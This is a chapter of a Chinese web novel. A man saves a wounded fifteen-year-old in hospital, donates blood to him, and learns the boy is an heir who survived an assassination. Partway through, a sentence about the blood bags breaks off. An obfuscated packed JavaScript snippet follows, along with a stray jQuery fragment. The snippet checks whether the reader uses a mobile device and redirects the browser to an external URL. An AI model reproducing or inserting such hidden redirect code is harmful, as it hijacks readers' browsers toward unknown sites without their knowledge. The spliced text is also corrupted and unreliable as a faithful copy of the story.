77.我救你两次
作品:《一只社畜》 病房里灯光明亮,空间宽敞,少年已经醒了。护士合上病历本,推着治疗车从唐望秋身边走过。
谢池星脑袋上缠着厚厚的纱布,遮住大半张脸,露出一双炯炯有神的深色眼眸,淡淡地看向门口傻站着的唐望秋。
唐望秋手指无意识抠着衣角,硬着头皮走到病床边坐下,语气干巴巴的:“那个……是我救了你,不知道你还记不记得……”
“我记得你。”谢池星语调平缓,声线青涩未退,比成年男人要清浅许多,黑发垂落,脊背挺得笔直。他眼底藏着不属于高中生的冷静与沉敛。
唐望秋微微一顿,有些不自在地扣了一下指尖,忐忑地问:“刚刚,你没听到什么吧?”
谢池星审视的目光自始至终没有从他身上挪开半分:“听到了。”
唐望秋神色僵在原地,一时间尴尬到了极点:“我不是那个意思……”
我说话声音有那么大吗?
谢池星没有搭话,眉尾微扬,无意中瞥见对方一双长腿之下,脚踝边上沾染着少量血迹。
忽然,他指节微捻,回忆起自己抓住对方脚踝时的细腻触感。
“谢谢你救了我,明天还有一场手术,我或许会失血过多而死。”
唐望秋表情顿住,张了张嘴巴:“你伤得好严重。”
他瞥见病房墙壁上贴的硬质卡片,印着病人的姓名、年龄、病情等基本信息。
姓名:谢xx
年龄:15岁
病情:严重枪伤、失血过多、心脏受损。
“那个……怎么称呼你?”唐望秋心头涌上一股疑惑。
“我没有名字。”谢池星淡淡扯出一个笑容,“你可以随意。”
“行吧,高中生。”唐望秋欲言又止,没再多问。少年受过枪击,过去好几个小时了也没有家属过来,肯定有什么难以想象的困境。
唐望秋抬手轻轻揉了揉眉心,叹了一口气:“放心吧,既然我救了你,我好人当到底,接下来这几天我会经常来看你的。”
谢池星眼底骤然一凝,明亮的眸中泛起一片涟漪。
“如果血型匹配,你会帮我献血吗?”谢池星嗓子干涩沙哑,吐字克制。
“这个……”唐望秋没想到高中生会问起这个,夜晚偏凉,他搓了搓冻僵的双腿,讷讷道,“虽然我挺怕针扎的,但真到了那个时候,绝对会献血。”
谢池星黑发垂在额头前,没有半分凌乱,他短促地笑了一声:“好傻,你的裤子在柜子里。”
唐望秋眼前一亮,拉开床头的柜子,果然,自己那条黑色裤子整洁地放在里面,他拿出来三下五除二地穿上,冻僵的皮肤渐渐回暖,他转头看向少年,发现少年已经靠在枕头上睡着了。
心里感叹:唉,可怜的高中生。
他撑着在旁边坐了半个小时,眼皮打架,刚开始还能硬撑,但是舟车劳顿加心有余悸,困意笼罩着他,渐渐地实在是没忍住,脑袋靠在少年旁边沉沉睡去。
……
清晨天光微亮,唐望秋脑袋窝在臂弯里呼吸均匀平稳,清瘦的肩膀仿佛融入了雪白的病床间。
等他被走廊窸窸窣窣的噪声吵醒时,抬起头,揉了一把脸,发现谢池星早就醒来,正满眼笑意地盯着他。
“早上好,哥哥。”谢池星喊道。
唐望秋心口一紧,白皙的脸颊爬上薄红,怎么在人家病床上睡得那么沉那么香。想起少年的伤,他紧张地问:“我没压到你吧?”
“没有,哥哥睡觉很乖。”
唐望秋心软了许多,他觉得被高中生称呼“哥哥”的感觉很奇妙,有种作为大人的骄傲感,又有种被少年可爱到了的亲密无间,好像他们不是初次认识的陌生人。
他们变得熟悉了一点。
“哦……”唐望秋揉了揉乱糟糟的头发,起身看了一眼时间,没在医院停留,回到青年旅社继续找工作。
他先是在旅社换了一身宽松的新衣服,接连面试了三家公司,HR让他回家等待入职通知。
回去的路上,他打开微信,看着日渐稀少的余额,在商场如同无头苍蝇般逛了好几圈,终于,他发现一家餐厅在招聘洗碗工,而且还是日结,他当即走进店内毛遂自荐。
“你确定吗?”店长瞥了他一眼,见他身形细瘦得可怜。
“确定!我干活很快的。”唐望秋微微笑着说。
店长嘴巴张了张,又咽了下去:“一个小时30,多劳多得。”
“好!”唐望秋高兴地点了点头。
时薪30对于他来说已经很多了!
由于唐望秋只负责戴着皮手套不停地洗碗,和店里老人的交集不多,也搭不上什么话,4个小时后,过了饭点,客流量少了下来。
唐望秋站起来,腿都麻木了。店长过来把他4个小时的工钱结了,一共120元。
唐望秋感激地道了谢,正要离开,店长叫住了他。
唐望秋疑惑地停下脚步:“怎么了?”
店长眯着眼凑到他耳边说:“小唐,你很缺钱是吧?有这相貌身段,不如去做些陪酒伺候人的活计。”
唐望秋胃底一阵抽搐,大步挪开,秀气的眉头拧成一团:“你说什么呢!你他妈才去陪酒,老子是直男!”
“好好好,算我多嘴。”店长脸色瞬间铁青,“不识好人心。”
店长扫兴走开。
唐望秋不想惹事,他强压着心中的怒火,心情差到极点,魂不守舍地坐上了公交车,去了医院。
他在车上一直在想,他哪一点表现得像男同了?怎么会遇见这种恶心人的事。
医院内,唐望秋刚刚赶来,正看到医生将高中生推进急救室,猛然想起少年的话,他拦下一名路过的护士问:“那个高中生,这次手术结束后,就脱离危险了吗?”
护士停下匆匆步伐,语气急促且不耐:“对,但是现在血库里的A型血不够,恐怕……”
“A型血?”唐望秋默默重复了一遍,赶忙说:“我就是A型血!”
护士眼前一亮,长长吐气,连忙让他跟自己走:“快,去检查!”
唐望秋跟上她的步伐,心都提到了嗓子眼。少年难道真有未卜先知的本事,还真被他说中了。
不管怎么样,人一定要平安啊。
验血室内,护士捏着唐望秋的检查报告单,站在门口难掩欣喜。
唐望秋紧张无措地伸出手臂,被另一名护士用针尖刺入血管,他蜷曲手指,一下接着一下攥紧,咬紧下唇。
护士动作娴熟,结束后唐望秋静静按住发麻的针口。
桌上摆放着两袋血袋。
这些都是从他身体
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17402147|196003||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里抽出来的,唐望秋仅仅是瞥了一眼,就头脑发麻地低下头。
他自我安慰:
没事的,只要我看不见,就没抽多少血。
我是一个成年男人,都是小事,不疼的,不疼的……
“好了,按住针眼15分钟,不要立马站起来。”抽血的护士嘱咐道,起身拿着血袋匆匆离开。
护士陆续采集了400毫升血,唐望秋晃了晃脑袋,头晕乏力,手脚发凉,心慌的感觉持续了较长时间。
他没有再挪动一步,清楚地感知到,此刻他已经虚到一定程度,动弹不得。
一个小时后,唐望秋撑着身体从验血室走出来,护士对于他还在这里感到意外,轻声说:“病人脱险。”
唐望秋微微点了点头,缓慢地回到少年的病房。
少年紧闭双眼躺在病床上,胸口、双臂都缠着厚厚的纱布,满是术后的憔悴。
唐望秋也十分疲惫,浑身软塌塌的没力气,靠在旁边的病床上,绵软地呼吸着。
没过多久,男高中生睁开眼,他缓缓动了动手臂,从床面撑起坐起,胸口的伤口轻微裂开,少年闷哼一声。
“躺下歇会儿,伤口愈合再起来。”唐望秋声音很轻。
谢池星看到唐望秋异常惨白的脸色,微微一怔:“你怎么了?”
“我又救了你一命,说吧,以后打算怎么报答我。”唐望秋神色倦怠,没什么神采,动作迟缓至极。
“我的血都快被抽干净了。”唐望秋眼眶微微泛红,湿漉漉的,莫名有些委屈。
“你真去献血了,那只是我随口一说。”谢池星肩膀紧紧绷起,眼底掠过一丝慌乱,错开目光。
“你可真是预言家。”唐望秋连抬起胳膊的力气都没有,嘟囔的声音越来越小,“隔壁床没人,我睡一会儿,记得叫我。”
渐渐地,唐望秋失去意识。
谢池星深眸微微沉下,目光不经意之间落在唐望秋那截纤细的臂弯——针口以及一圈泛红的皮肤上,耳尖悄悄发烫。
柔软的呼吸声就在附近,忽然,一名黑衣男人从窗口翻了进来,对着谢池星恭敬道:“池星少爷,您没事真的太好了。老爷子那边已经收到消息,知道您安全了。我们的人私下调查清楚,在沙洛特镇的刺杀,是谢钟德的手笔。”
“早就料到了。”谢池星神情平淡,侧脸冷硬。
“沙洛特镇爆炸现场销毁,无痕迹遗留。”
谢池星语气平静:“无需多报。”
“是。”
黑衣男人正欲翻窗离开,却看到隔壁床蜷曲成一团、睡得昏沉的唐望秋。
“少爷,需要我把闲杂人等弄走吗?”他迟疑地问。
谢池星尚且稚嫩的下颌线绷紧,表面不带任何情绪:“不用。”
黑衣男人领命,为了躲避走廊监控,步履不停,翻窗离开。
气流涌动,扬起唐望秋额角的头发。
他慢悠悠醒过来,揉了揉酸涩的眼皮,发现男高中生竟然在一眨不眨地凝视着他,他唇瓣无意识轻抿一下。
“你盯着我干什么?”唐望秋不安地搓了搓脸颊,“我睡得很丑吗?”
“有点。”谢池星眼角弯起一点弧度,一本正经道。
唐望秋脑袋微微低下,眼神飘忽:“睡相再丑和你也没关系。”

